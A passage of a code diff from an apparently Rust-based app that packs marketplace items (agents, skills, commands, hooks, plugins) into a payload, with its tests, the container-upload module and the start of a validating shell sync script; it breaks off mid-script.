|
||||
branch: None,
|
||||
account_id: None,
|
||||
}
|
||||
}
|
||||
|
||||
fn inst(kind: ItemKind, key: &str, commit: &str) -> MarketplaceInstall {
|
||||
MarketplaceInstall {
|
||||
marketplace_id: "m1aaaaaaaa".into(),
|
||||
kind,
|
||||
key: key.into(),
|
||||
commit: commit.into(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Fetch the fixture into `<data>/marketplaces/m1aaaaaaaa.git`.
|
||||
fn cache(fx: &GitFixture, data: &Path) {
|
||||
let repo = git::cache_path(data, "m1aaaaaaaa");
|
||||
git::fetch(&repo, &fx.url(), None, None).unwrap();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn every_kind_lands_at_its_contract_path() {
|
||||
let Some(fx) = GitFixture::new() else { return };
|
||||
let c = fx.with_all_kinds();
|
||||
let data = tempfile::tempdir().unwrap();
|
||||
cache(&fx, data.path());
|
||||
let installs = vec![
|
||||
inst(ItemKind::Agent, "code-reviewer", &c),
|
||||
inst(ItemKind::Skill, "example-skill", &c),
|
||||
inst(ItemKind::Command, "example-command", &c),
|
||||
inst(ItemKind::Hook, "notify-on-stop", &c),
|
||||
inst(ItemKind::Plugin, "example-plugin", &c),
|
||||
];
|
||||
let marketplaces = vec![market("m1aaaaaaaa")];
|
||||
let p = build_payload(&PayloadInput {
|
||||
installs: &installs,
|
||||
marketplaces: &marketplaces,
|
||||
data_root: data.path(),
|
||||
})
|
||||
.unwrap();
|
||||
|
||||
assert!(p.skipped.is_empty(), "{:?}", p.skipped);
|
||||
let files = unpack(&p.tar);
|
||||
let slug = marketplace_slug("m1aaaaaaaa");
|
||||
for path in [
|
||||
"agents/code-reviewer.md".to_string(),
|
||||
"skills/example-skill/SKILL.md".to_string(),
|
||||
"commands/example-command.md".to_string(),
|
||||
"hooks/notify-on-stop/hook.json".to_string(),
|
||||
"hooks/notify-on-stop/notify.sh".to_string(),
|
||||
format!("plugins/{slug}/.claude-plugin/marketplace.json"),
|
||||
format!("plugins/{slug}/example-plugin/.claude-plugin/plugin.json"),
|
||||
format!("plugins/{slug}/example-plugin/skills/hello/SKILL.md"),
|
||||
"manifest.json".to_string(),
|
||||
] {
|
||||
assert!(
|
||||
files.contains_key(&path),
|
||||
"missing {path}; have {:?}",
|
||||
files.keys().collect::<Vec<_>>()
|
||||
);
|
||||
}
|
||||
assert_eq!(files["hooks/notify-on-stop/notify.sh"].mode & 0o777, 0o755);
|
||||
assert_eq!(files["agents/code-reviewer.md"].mode & 0o777, 0o644);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn manifest_and_generated_catalog_match_the_contract() {
|
||||
let Some(fx) = GitFixture::new() else { return };
|
||||
let c = fx.with_all_kinds();
|
||||
let data = tempfile::tempdir().unwrap();
|
||||
cache(&fx, data.path());
|
||||
let installs = vec![
|
||||
inst(ItemKind::Hook, "notify-on-stop", &c),
|
||||
inst(ItemKind::Plugin, "example-plugin", &c),
|
||||
];
|
||||
let marketplaces = vec![market("m1aaaaaaaa")];
|
||||
let p = build_payload(&PayloadInput {
|
||||
installs: &installs,
|
||||
marketplaces: &marketplaces,
|
||||
data_root: data.path(),
|
||||
})
|
||||
.unwrap();
|
||||
let slug = marketplace_slug("m1aaaaaaaa");
|
||||
|
||||
let files = unpack(&p.tar);
|
||||
let manifest: Value = serde_json::from_slice(&files["manifest.json"].data).unwrap();
|
||||
assert_eq!(manifest, p.manifest);
|
||||
assert_eq!(manifest["version"], 1);
|
||||
let hook = &manifest["items"][0];
|
||||
assert_eq!(hook["kind"], "hook");
|
||||
assert_eq!(hook["dir"], "hooks/notify-on-stop");
|
||||
assert_eq!(
|
||||
hook["settings"]["Stop"][0]["hooks"][0]["command"],
|
||||
"/home/claude/.claude/triple-c/hooks/notify-on-stop/notify.sh"
|
||||
);
|
||||
let plugin = &manifest["items"][1];
|
||||
assert_eq!(plugin["kind"], "plugin");
|
||||
assert_eq!(plugin["slug"], slug.as_str());
|
||||
assert_eq!(
|
||||
manifest["plugin_marketplaces"],
|
||||
json!([{ "slug": slug, "dir": format!("plugins/{slug}"), "plugins": ["example-plugin"] }])
|
||||
);
|
||||
|
||||
let catalog: Value = serde_json::from_slice(
|
||||
&files[&format!("plugins/{slug}/.claude-plugin/marketplace.json")].data,
|
||||
)
|
||||
.unwrap();
|
||||
assert_eq!(catalog["name"], format!("triple-c-{slug}"));
|
||||
assert_eq!(catalog["owner"]["name"], "Triple-C");
|
||||
assert_eq!(catalog["plugins"][0]["name"], "example-plugin");
|
||||
assert_eq!(catalog["plugins"][0]["source"], "./example-plugin");
|
||||
}
|
||||
|
||||
/// Final review M4: the plugin marketplace name comes from the id, so a
|
||||
/// rename never makes the container see a different marketplace.
|
||||
#[test]
|
||||
fn plugin_slug_survives_a_rename() {
|
||||
let Some(fx) = GitFixture::new() else { return };
|
||||
let c = fx.with_all_kinds();
|
||||
let data = tempfile::tempdir().unwrap();
|
||||
cache(&fx, data.path());
|
||||
let installs = vec![inst(ItemKind::Plugin, "example-plugin", &c)];
|
||||
let slug_named = |name: &str| {
|
||||
let marketplaces = vec![Marketplace {
|
||||
name: name.into(),
|
||||
..market("m1aaaaaaaa")
|
||||
}];
|
||||
let p = build_payload(&PayloadInput {
|
||||
installs: &installs,
|
||||
marketplaces: &marketplaces,
|
||||
data_root: data.path(),
|
||||
})
|
||||
.unwrap();
|
||||
p.manifest["items"][0]["slug"].as_str().unwrap().to_string()
|
||||
};
|
||||
assert_eq!(slug_named("Team Tools"), "mp-m1aaaaaa");
|
||||
assert_eq!(slug_named("Renamed"), "mp-m1aaaaaa");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn items_that_cannot_be_built_are_skipped_not_fatal() {
|
||||
let Some(fx) = GitFixture::new() else { return };
|
||||
let c = fx.with_all_kinds();
|
||||
let data = tempfile::tempdir().unwrap();
|
||||
cache(&fx, data.path());
|
||||
let mut gone = inst(ItemKind::Agent, "code-reviewer", &c);
|
||||
gone.marketplace_id = "removed".into();
|
||||
let installs = vec![
|
||||
gone,
|
||||
inst(ItemKind::Agent, "code-reviewer", &"0".repeat(40)),
|
||||
inst(ItemKind::Agent, "does-not-exist", &c),
|
||||
inst(ItemKind::Command, "example-command", &c),
|
||||
];
|
||||
let marketplaces = vec![market("m1aaaaaaaa")];
|
||||
let p = build_payload(&PayloadInput {
|
||||
installs: &installs,
|
||||
marketplaces: &marketplaces,
|
||||
data_root: data.path(),
|
||||
})
|
||||
.unwrap();
|
||||
|
||||
let skipped: Vec<&str> = p.skipped.iter().map(|s| s.item.as_str()).collect();
|
||||
assert_eq!(
|
||||
skipped,
|
||||
vec![
|
||||
"agent:code-reviewer",
|
||||
"agent:code-reviewer",
|
||||
"agent:does-not-exist"
|
||||
]
|
||||
);
|
||||
assert!(
|
||||
p.skipped[0].reason.contains("marketplace"),
|
||||
"{}",
|
||||
p.skipped[0].reason
|
||||
);
|
||||
assert!(
|
||||
p.skipped[1].reason.contains("cache"),
|
||||
"{}",
|
||||
p.skipped[1].reason
|
||||
);
|
||||
assert_eq!(p.manifest["items"].as_array().unwrap().len(), 1);
|
||||
// Final review M3: host-side failures are held (the container keeps
|
||||
// what it has); only a removed source really removes.
|
||||
assert_eq!(
|
||||
p.manifest["held"],
|
||||
json!(["agent:code-reviewer", "agent:does-not-exist"])
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_plugin_that_cannot_be_built_is_held_under_its_marketplace() {
|
||||
let Some(fx) = GitFixture::new() else { return };
|
||||
fx.with_all_kinds();
|
||||
let data = tempfile::tempdir().unwrap();
|
||||
cache(&fx, data.path());
|
||||
let installs = vec![inst(ItemKind::Plugin, "example-plugin", &"0".repeat(40))];
|
||||
let marketplaces = vec![market("m1aaaaaaaa")];
|
||||
let p = build_payload(&PayloadInput {
|
||||
installs: &installs,
|
||||
marketplaces: &marketplaces,
|
||||
data_root: data.path(),
|
||||
})
|
||||
.unwrap();
|
||||
assert_eq!(p.skipped.len(), 1);
|
||||
assert_eq!(
|
||||
p.manifest["held"],
|
||||
json!([format!(
|
||||
"plugin:{}/example-plugin",
|
||||
marketplace_slug("m1aaaaaaaa")
|
||||
)])
|
||||
);
|
||||
assert_eq!(p.manifest["plugin_marketplaces"], json!([]));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_second_marketplace_cannot_shadow_an_installed_name() {
|
||||
let Some(fx) = GitFixture::new() else { return };
|
||||
let c = fx.with_all_kinds();
|
||||
let data = tempfile::tempdir().unwrap();
|
||||
cache(&fx, data.path());
|
||||
let other = git::cache_path(data.path(), "m2bbbbbbbb");
|
||||
git::fetch(&other, &fx.url(), None, None).unwrap();
|
||||
let mut second = inst(ItemKind::Agent, "code-reviewer", &c);
|
||||
second.marketplace_id = "m2bbbbbbbb".into();
|
||||
let installs = vec![inst(ItemKind::Agent, "code-reviewer", &c), second];
|
||||
let marketplaces = vec![market("m1aaaaaaaa"), market("m2bbbbbbbb")];
|
||||
let p = build_payload(&PayloadInput {
|
||||
installs: &installs,
|
||||
marketplaces: &marketplaces,
|
||||
data_root: data.path(),
|
||||
})
|
||||
.unwrap();
|
||||
assert_eq!(p.manifest["items"].as_array().unwrap().len(), 1);
|
||||
assert_eq!(p.skipped.len(), 1);
|
||||
assert!(p.skipped[0].reason.contains("another marketplace"));
|
||||
assert_eq!(p.manifest["held"], json!([]));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn an_empty_install_set_still_yields_a_manifest() {
|
||||
let data = tempfile::tempdir().unwrap();
|
||||
let p = build_payload(&PayloadInput {
|
||||
installs: &[],
|
||||
marketplaces: &[],
|
||||
data_root: data.path(),
|
||||
})
|
||||
.unwrap();
|
||||
assert_eq!(
|
||||
p.manifest,
|
||||
json!({ "version": 1, "items": [], "plugin_marketplaces": [], "held": [] })
|
||||
);
|
||||
assert!(unpack(&p.tar).contains_key("manifest.json"));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,256 @@
|
||||
//! Pushes a project's marketplace payload into its container and runs the
|
||||
//! sync script there (spec §4).
|
||||
|
||||
use std::time::Duration;
|
||||
|
||||
use super::payload::Payload;
|
||||
use crate::docker::exec::{exec_oneshot_as, exec_oneshot_streams_as, upload_bytes_to_container};
|
||||
use crate::models::marketplace::{SkippedItem, SyncReport};
|
||||
|
||||
/// Where the payload and the script are uploaded. Owned by `claude`.
|
||||
pub const INCOMING_DIR: &str = "/home/claude/.claude/triple-c/marketplace/incoming";
|
||||
|
||||
/// The sync script. Shipped with the app and uploaded on every sync, so a new
|
||||
/// app version reaches existing containers without an image migration.
|
||||
pub const SYNC_SCRIPT: &str = include_str!("sync.sh");
|
||||
|
||||
/// True once the entrypoint has finished: its last step execs this exact
|
||||
/// command line. Before that it may still be merging `settings.json` or running
|
||||
/// `claude update`, both of which the sync would race.
|
||||
const READY_PROBE: &str = "pgrep -x -f 'su -s /bin/bash claude -c exec sleep infinity' >/dev/null";
|
||||
const READY_TIMEOUT: Duration = Duration::from_secs(180);
|
||||
const READY_POLL: Duration = Duration::from_secs(2);
|
||||
|
||||
/// Run as root: `~/.claude` is a volume and `triple-c/` may not exist yet, and
|
||||
/// the uploads below are root-owned files in a directory `claude` must own so
|
||||
/// the script can delete them.
|
||||
const PREPARE_SCRIPT: &str = r#"set -e
|
||||
d=/home/claude/.claude/triple-c/marketplace/incoming
|
||||
mkdir -p "$d"
|
||||
chown -R claude:claude /home/claude/.claude/triple-c
|
||||
rm -f "$d/payload.tar" "$d/sync.sh""#;
|
||||
|
||||
fn sh(script: &str) -> Vec<String> {
|
||||
vec!["sh".to_string(), "-c".to_string(), script.to_string()]
|
||||
}
|
||||
|
||||
/// The readiness probe, run as root.
|
||||
fn ready_probe_cmd() -> Vec<String> {
|
||||
sh(READY_PROBE)
|
||||
}
|
||||
|
||||
/// The sync script invocation, run as `claude`.
|
||||
fn run_script_cmd() -> Vec<String> {
|
||||
vec!["sh".to_string(), format!("{INCOMING_DIR}/sync.sh")]
|
||||
}
|
||||
|
||||
fn run_script_env() -> Vec<String> {
|
||||
vec!["HOME=/home/claude".to_string()]
|
||||
}
|
||||
|
||||
async fn wait_until_ready(container_id: &str) -> Result<(), String> {
|
||||
let deadline = tokio::time::Instant::now() + READY_TIMEOUT;
|
||||
loop {
|
||||
let (_, code) = exec_oneshot_as(container_id, "root", ready_probe_cmd(), vec![]).await?;
|
||||
if code == 0 {
|
||||
return Ok(());
|
||||
}
|
||||
if tokio::time::Instant::now() >= deadline {
|
||||
return Err(format!(
|
||||
"The container did not finish starting within {} seconds, so marketplace items \
|
||||
were not applied. They are applied on the next start, or with Apply now.",
|
||||
READY_TIMEOUT.as_secs()
|
||||
));
|
||||
}
|
||||
tokio::time::sleep(READY_POLL).await;
|
||||
}
|
||||
}
|
||||
|
||||
/// The last `max` bytes of `text`, trimmed, never splitting a character.
|
||||
fn tail(text: &str, max: usize) -> &str {
|
||||
let text = text.trim();
|
||||
if text.len() <= max {
|
||||
return text;
|
||||
}
|
||||
let mut start = text.len() - max;
|
||||
while !text.is_char_boundary(start) {
|
||||
start += 1;
|
||||
}
|
||||
&text[start..]
|
||||
}
|
||||
|
||||
/// Wait for readiness, upload the payload and the script, run the script as
|
||||
/// `claude`, and return its report.
|
||||
pub async fn sync_container(container_id: &str, payload: &Payload) -> Result<SyncReport, String> {
|
||||
wait_until_ready(container_id).await?;
|
||||
|
||||
let (out, code) = exec_oneshot_as(container_id, "root", sh(PREPARE_SCRIPT), vec![]).await?;
|
||||
if code != 0 {
|
||||
return Err(format!(
|
||||
"Could not prepare the container for the marketplace sync: {}",
|
||||
tail(&out, 500)
|
||||
));
|
||||
}
|
||||
upload_bytes_to_container(
|
||||
container_id,
|
||||
INCOMING_DIR,
|
||||
"payload.tar",
|
||||
&payload.tar,
|
||||
0o644,
|
||||
)
|
||||
.await?;
|
||||
upload_bytes_to_container(
|
||||
container_id,
|
||||
INCOMING_DIR,
|
||||
"sync.sh",
|
||||
SYNC_SCRIPT.as_bytes(),
|
||||
0o755,
|
||||
)
|
||||
.await?;
|
||||
|
||||
let (stdout, stderr, code) =
|
||||
exec_oneshot_streams_as(container_id, "claude", run_script_cmd(), run_script_env()).await?;
|
||||
parse_report(&stdout).map_err(|e| {
|
||||
format!(
|
||||
"The marketplace sync script failed (exit {code}): {e}. {}",
|
||||
tail(&stderr, 500)
|
||||
)
|
||||
})
|
||||
}
|
||||
|
||||
/// The script's report is the last non-empty line of stdout.
|
||||
pub fn parse_report(stdout: &str) -> Result<SyncReport, String> {
|
||||
let line = stdout
|
||||
.lines()
|
||||
.rev()
|
||||
.map(str::trim)
|
||||
.find(|l| !l.is_empty())
|
||||
.ok_or_else(|| "the sync script printed no report".to_string())?;
|
||||
serde_json::from_str(line)
|
||||
.map_err(|e| format!("the sync script's report could not be read: {e}"))
|
||||
}
|
||||
|
||||
/// A sync never fails its caller: an error becomes a report that says so.
|
||||
pub fn report_from_result(r: Result<SyncReport, String>) -> SyncReport {
|
||||
let mut report = match r {
|
||||
Ok(report) => report,
|
||||
Err(e) => SyncReport {
|
||||
errors: vec![e],
|
||||
..Default::default()
|
||||
},
|
||||
};
|
||||
report.finished_at = chrono::Utc::now().to_rfc3339();
|
||||
report
|
||||
}
|
||||
|
||||
/// Items the host left out of the payload (invalid, missing from the cache, …)
|
||||
/// never reach the script, so the stored report lists them ahead of its own.
|
||||
pub fn with_payload_skips(mut report: SyncReport, payload_skipped: &[SkippedItem]) -> SyncReport {
|
||||
let mut skipped = payload_skipped.to_vec();
|
||||
skipped.append(&mut report.skipped);
|
||||
report.skipped = skipped;
|
||||
report
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn the_report_is_the_last_non_empty_stdout_line() {
|
||||
let out = "noise\n{\"installed\":[\"agent:a\"],\"errors\":[]}\n\n";
|
||||
let r = parse_report(out).unwrap();
|
||||
assert_eq!(r.installed, vec!["agent:a"]);
|
||||
assert!(r.skipped.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn missing_or_garbled_reports_are_errors() {
|
||||
assert!(parse_report("").unwrap_err().contains("no report"));
|
||||
assert!(parse_report("not json\n")
|
||||
.unwrap_err()
|
||||
.contains("could not be read"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_failed_sync_becomes_a_report() {
|
||||
// A failed sync becomes a report with the error in it — never an Err
|
||||
// that could propagate into container start.
|
||||
let r = report_from_result(Err("container went away".into()));
|
||||
assert_eq!(r.errors, vec!["container went away"]);
|
||||
assert!(!r.finished_at.is_empty());
|
||||
|
||||
let ok = report_from_result(Ok(SyncReport {
|
||||
installed: vec!["hook:h".into()],
|
||||
..Default::default()
|
||||
}));
|
||||
assert_eq!(ok.installed, vec!["hook:h"]);
|
||||
assert!(chrono::DateTime::parse_from_rfc3339(&ok.finished_at).is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_embedded_script_is_the_sync_script() {
|
||||
assert!(SYNC_SCRIPT.starts_with("#!/bin/sh"));
|
||||
assert!(SYNC_SCRIPT.contains("MARKETPLACE_INCOMING"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn readiness_probes_the_entrypoints_final_exec() {
|
||||
assert_eq!(
|
||||
ready_probe_cmd(),
|
||||
vec![
|
||||
"sh",
|
||||
"-c",
|
||||
"pgrep -x -f 'su -s /bin/bash claude -c exec sleep infinity' >/dev/null"
|
||||
]
|
||||
);
|
||||
assert_eq!(READY_POLL, Duration::from_secs(2));
|
||||
assert_eq!(READY_TIMEOUT, Duration::from_secs(180));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_incoming_dir_is_prepared_for_claude() {
|
||||
// The uploads are root-owned, so the directory must exist and belong
|
||||
// to claude before they land (claude extracts and deletes them).
|
||||
assert!(PREPARE_SCRIPT.contains(INCOMING_DIR));
|
||||
assert!(PREPARE_SCRIPT.contains("mkdir -p"));
|
||||
assert!(PREPARE_SCRIPT.contains("chown -R claude:claude /home/claude/.claude/triple-c"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_script_runs_as_claude_with_home_set() {
|
||||
assert_eq!(
|
||||
run_script_cmd(),
|
||||
vec!["sh".to_string(), format!("{INCOMING_DIR}/sync.sh")]
|
||||
);
|
||||
assert_eq!(run_script_env(), vec!["HOME=/home/claude"]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn payload_skips_come_before_the_scripts_own() {
|
||||
use crate::models::marketplace::SkippedItem;
|
||||
let payload_skip = SkippedItem {
|
||||
item: "agent:a".into(),
|
||||
reason: "invalid".into(),
|
||||
};
|
||||
let script_skip = SkippedItem {
|
||||
item: "hook:h".into(),
|
||||
reason: "no jq".into(),
|
||||
};
|
||||
let report = SyncReport {
|
||||
skipped: vec![script_skip.clone()],
|
||||
..Default::default()
|
||||
};
|
||||
let merged = with_payload_skips(report, std::slice::from_ref(&payload_skip));
|
||||
assert_eq!(merged.skipped, vec![payload_skip, script_skip]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn long_output_is_tailed_on_a_char_boundary() {
|
||||
assert_eq!(tail(" short \n", 10), "short");
|
||||
let s = format!("{}é", "x".repeat(20));
|
||||
let t = tail(&s, 1);
|
||||
assert!(s.ends_with(t));
|
||||
assert!(t.len() <= 2);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,467 @@
|
||||
#!/bin/sh
|
||||
# Messages name paths as the user sees them ("~/.claude/..."), deliberately.
|
||||
# shellcheck disable=SC2088
|
||||
# Triple-C marketplace sync: applies the payload the app uploaded.
|
||||
#
|
||||
# A constant script, shipped inside the app and uploaded next to the payload on
|
||||
# every sync. Nothing is ever interpolated into it: its only inputs are the
|
||||
# files under $MARKETPLACE_INCOMING (written by the host) and $HOME. Item keys
|
||||
# and slugs are re-validated here although the host validated them, and every
|
||||
# destination path is derived from them rather than taken from the manifest.
|
||||
#
|
||||
# Progress and tool output go to stderr. stdout carries exactly one line: the
|
||||
# JSON report. Exit status is 0 unless HOME is unset; per-item failures are
|
||||
# reported, never fatal.
|
||||
set -u
|
||||
|
||||
if [ -z "${HOME:-}" ]; then
|
||||
echo "triple-c-marketplace-sync: HOME is not set" >&2
|
||||
exit 2
|
||||
fi
|
||||
PATH="$HOME/.claude/bin:$HOME/.local/bin:$PATH"
|
||||
export PATH
|
||||
|
||||
CLAUDE_DIR="$HOME/.claude"
|
||||
BASE="$CLAUDE_DIR/triple-c"
|
||||
INCOMING="${MARKETPLACE_INCOMING:-$BASE/marketplace/incoming}"
|
||||
LOCK="${MARKETPLACE_LOCK:-/tmp/.triple-c-claude-update.lock}"
|
||||
STATE="$BASE/marketplace/state.json"
|
||||
WORK="$BASE/marketplace/work"
|
||||
SETTINGS="$CLAUDE_DIR/settings.json"
|
||||
TAB=$(printf '\t')
|
||||
|
||||
if ! command -v jq >/dev/null 2>&1; then
|
||||
printf '%s\n' '{"errors":["jq is not installed in this container, so marketplace items were not applied"]}'
|
||||
exit 0
|
||||
fi
|
||||
|
||||
R=$(mktemp -d 2>/dev/null) || R=""
|
||||
if [ -z "$R" ] || [ ! -d "$R" ]; then
|
||||
printf '%s\n' '{"errors":["a temporary directory could not be created in the container, so marketplace items were not applied"]}'
|
||||
exit 0
|
||||
fi
|
||||
trap 'rm -rf "$R"' EXIT
|
||||
for f in installed updated removed skipped errors newstate new_slugs final_slugs \
|
||||
hook_pending hook_removals plugin_items; do
|
||||
: >"$R/$f"
|
||||
done
|
||||
|
||||
report() { printf '%s\n' "$2" >>"$R/$1"; }
|
||||
skip() { printf '%s\t%s\n' "$1" "$2" >>"$R/skipped"; }
|
||||
fail() { printf '%s\n' "$1" >>"$R/errors"; }
|
||||
record() { printf '%s\t%s\n' "$1" "$2" >>"$R/newstate"; }
|
||||
|
||||
emit_report() {
|
||||
jq -cn \
|
||||
--rawfile i "$R/installed" --rawfile u "$R/updated" --rawfile d "$R/removed" \
|
||||
--rawfile s "$R/skipped" --rawfile e "$R/errors" '
|
||||
def lines: split("\n") | map(select(length > 0));
|
||||
{ installed: ($i | lines), updated: ($u | lines), removed: ($d | lines),
|
||||
skipped: ($s | lines | map(split("\t") | { item: .[0], reason: (.[1:] | join("\t")) })),
|
||||
errors: ($e | lines) }'
|
||||
}
|
||||
|
||||
valid_key() {
|
||||
case "$1" in
|
||||
'' | [!A-Za-z0-9]* | *[!A-Za-z0-9._-]*) return 1 ;;
|
||||
esac
|
||||
[ "${#1}" -le 64 ]
|
||||
}
|
||||
|
||||
valid_slug() {
|
||||
case "$1" in
|
||||
'' | -* | *[!a-z0-9-]*) return 1 ;;
|
||||
esac
|
||||
[ "${#1}" -le 64 ]
|
||||
}
|
||||
|
||||
valid_commit() {
|
||||
case "$1" in
|
||||
'' | *[!0-9a-f]*) return 1 ;;
|
||||
esac
|
||||
[ "${#1}" -eq 40 ]
|
||||
}
|
||||
|
||||
# Run `claude` serialised with the entrypoint's and every session's
|
||||
# `claude update`, which rewrite ~/.claude/bin under the same lock.
|
||||
claude_cmd() {
|
||||
if command -v flock >/dev/null 2>&1; then
|
||||
flock -w 120 "$LOCK" claude "$@" </dev/null >&2
|
||||
else
|
||||
claude "$@" </dev/null >&2
|
||||
fi
|
||||
}
|
||||
|
||||
# State ids are "<kind>:<key>", except plugins: "plugin:<slug>/<key>", since
|
||||
# two marketplaces may ship a plugin of the same name. Reports keep
|
||||
# "<kind>:<key>" for every kind. $OLD is the state as read at the start
|
||||
# (legacy "plugin:<key>" records migrated); $STATE is written once, at the end.
|
||||
OLD="$R/state.json"
|
||||
owned() { jq -e --arg id "$1" '.items | has($id)' "$OLD" >/dev/null 2>&1; }
|
||||
prev_commit() { jq -r --arg id "$1" '.items[$id].commit // ""' "$OLD"; }
|
||||
# Every state id the manifest names with string fields, well-formed or
|
||||
# not: a selected item that failed this run must not be removed.
|
||||
in_manifest() { grep -qxF "$1" "$R/manifest_ids"; }
|
||||
carry_forward() { record "$1" "$(jq -c --arg id "$1" '.items[$id]' "$OLD")"; }
|
||||
# $1 = installed|updated|none for this id at this commit.
|
||||
outcome_of() {
|
||||
p=$(prev_commit "$1")
|
||||
if [ -z "$p" ]; then
|
||||
echo installed
|
||||
elif [ "$p" != "$2" ]; then
|
||||
echo updated
|
||||
else
|
||||
echo none
|
||||
fi
|
||||
}
|
||||
outcome() {
|
||||
o=$(outcome_of "$1" "$2")
|
||||
[ "$o" = none ] || report "$o" "$1"
|
||||
}
|
||||
# Something is in the way at a user-owned location (dangling links included).
|
||||
occupied() { [ -e "$1" ] || [ -L "$1" ]; }
|
||||
|
||||
# The one place a destination is derived; removal never trusts a stored path.
|
||||
item_path() {
|
||||
case "$1" in
|
||||
agent | command) printf '%s\n' "$CLAUDE_DIR/${1}s/$2.md" ;;
|
||||
skill) printf '%s\n' "$CLAUDE_DIR/skills/$2" ;;
|
||||
hook) printf '%s\n' "$BASE/hooks/$2" ;;
|
||||
*) return 1 ;;
|
||||
esac
|
||||
}
|
||||
|
||||
malformed() {
|
||||
rm -rf "$WORK"
|
||||
fail "$1"
|
||||
emit_report
|
||||
exit 0
|
||||
}
|
||||
|
||||
# ── Unpack ───────────────────────────────────────────────────────────────────
|
||||
if [ ! -f "$INCOMING/payload.tar" ]; then
|
||||
fail "no payload was uploaded"
|
||||
emit_report
|
||||
exit 0
|
||||
fi
|
||||
mkdir -p "$BASE/marketplace" "$BASE/hooks" "$BASE/plugins"
|
||||
rm -rf "$WORK"
|
||||
mkdir -p "$WORK"
|
||||
if ! tar -xf "$INCOMING/payload.tar" -C "$WORK" >&2; then
|
||||
rm -f "$INCOMING/payload.tar"
|
||||
fail "the payload could not be unpacked"
|
||||
emit_report
|
||||
exit 0
|
||||
fi
|
||||
rm -f "$INCOMING/payload.tar"
|
||||
# The host never packs links (they make an item invalid); refuse any that
|
||||
# arrive rather than copy through them.
|
||||
if [ -n "$(find "$WORK" -type l -print | head -n 1)" ]; then
|
||||
rm -rf "$WORK"
|
||||
fail "the payload contains a symbolic link, so it was not applied"
|
||||
emit_report
|
||||
exit 0
|
||||
fi
|
||||
MANIFEST="$WORK/manifest.json"
|
||||
if ! jq -e '.version == 1' "$MANIFEST" >/dev/null 2>&1; then
|
||||
malformed "the payload manifest is missing or has an unsupported version"
|
||||
fi
|
||||
# Nothing is changed (and, above all, nothing removed) unless the manifest is
|
||||
# structurally sound and every extraction below succeeds.
|
||||
# `held` (optional): state ids of installs the host could not build this time;
|
||||
# they are kept exactly like a selected item that failed here.
|
||||
if ! jq -e '(.items | type) == "array" and (.plugin_marketplaces | type) == "array"
|
||||
and ((.held // []) | type == "array" and all(.[]; type == "string"))' \
|
||||
"$MANIFEST" >/dev/null 2>&1; then
|
||||
malformed "the payload manifest is malformed, so nothing was changed"
|
||||
fi
|
||||
# One line per item. Fields carry a "_" prefix so an empty one cannot make
|
||||
# `read` shift the rest (tab is IFS whitespace); @tsv escapes tabs/newlines.
|
||||
# A malformed item becomes a "bad" line instead of aborting the extraction.
|
||||
if ! {
|
||||
jq -r '
|
||||
.items[]
|
||||
| if type == "object" and (.kind | type) == "string" and (.key | type) == "string"
|
||||
and (.commit | type) == "string"
|
||||
then ["ok", .kind, .key, .commit, (if (.slug | type) == "string" then .slug else "" end)]
|
||||
else ["bad",
|
||||
(if type == "object" then .kind | tostring else "?" end),
|
||||
(if type == "object" then .key | tostring else "?" end), "", ""]
|
||||
end
|
||||
| map("_" + .) | @tsv' "$MANIFEST" >"$R/items.tsv" &&
|
||||
jq -r '.items[] | objects | select((.kind | type) == "string" and (.key | type) == "string")
|
||||
| [if .kind == "plugin" and (.slug | type) == "string"
|
||||
then "plugin:" + .slug + "/" + .key else .kind + ":" + .key end] | @tsv' \
|
||||
"$MANIFEST" >"$R/manifest_ids" &&
|
||||
jq -r '(.held // [])[] | [.] | @tsv' "$MANIFEST" >>"$R/manifest_ids" &&
|
||||
jq -r '.plugin_marketplaces[]
|
||||
| if type == "object" and (.slug | type) == "string" then .slug else "" end
|
||||
| [.] | @tsv' "$MANIFEST" >"$R/new_slugs"
|
||||
}; then
|
||||
malformed "the payload manifest could not be read, so nothing was changed"
|
||||
fi
|
||||
if ! jq -e '(.items | type) == "object"' "$STATE" >/dev/null 2>&1; then
|
||||
printf '%s\n' '{"version":1,"items":{},"plugin_marketplaces":[]}' >"$STATE"
|
||||
fi
|
||||
# Records from before plugins were tracked per marketplace ("plugin:<key>")
|
||||
# carry their slug: rename them so they are neither reinstalled nor orphaned.
|
||||
# One without a string slug keeps its id and is dropped as unrecognised below.
|
||||
if ! jq '.items |= with_entries(
|
||||
if (.key | startswith("plugin:")) and (.key | contains("/") | not)
|
||||
and (.value | type) == "object" and (.value.slug | type) == "string"
|
||||
then .key = "plugin:" + .value.slug + "/" + (.key | ltrimstr("plugin:"))
|
||||
else . end)' "$STATE" >"$OLD" 2>/dev/null; then
|
||||
malformed "the marketplace state could not be read, so nothing was changed"
|
||||
fi
|
||||
|
||||
# ── Agents, skills, commands, hooks ──────────────────────────────────────────
|
||||
while IFS="$TAB" read -r status kind key commit slug; do
|
||||
status=${status#_} kind=${kind#_} key=${key#_} commit=${commit#_} slug=${slug#_}
|
||||
id="$kind:$key"
|
||||
if [ "$status" != ok ]; then skip "$id" "malformed manifest entry"; continue; fi
|
||||
if ! valid_key "$key"; then skip "$id" "invalid item name"; continue; fi
|
||||
if ! valid_commit "$commit"; then skip "$id" "invalid commit"; continue; fi
|
||||
case "$kind" in
|
||||
plugin)
|
||||
# Applied per plugin marketplace below.
|
||||
printf '%s\t%s\t%s\n' "_$key" "_$commit" "_$slug" >>"$R/plugin_items"
|
||||
;;
|
||||
agent | command)
|
||||
dir="$CLAUDE_DIR/${kind}s"
|
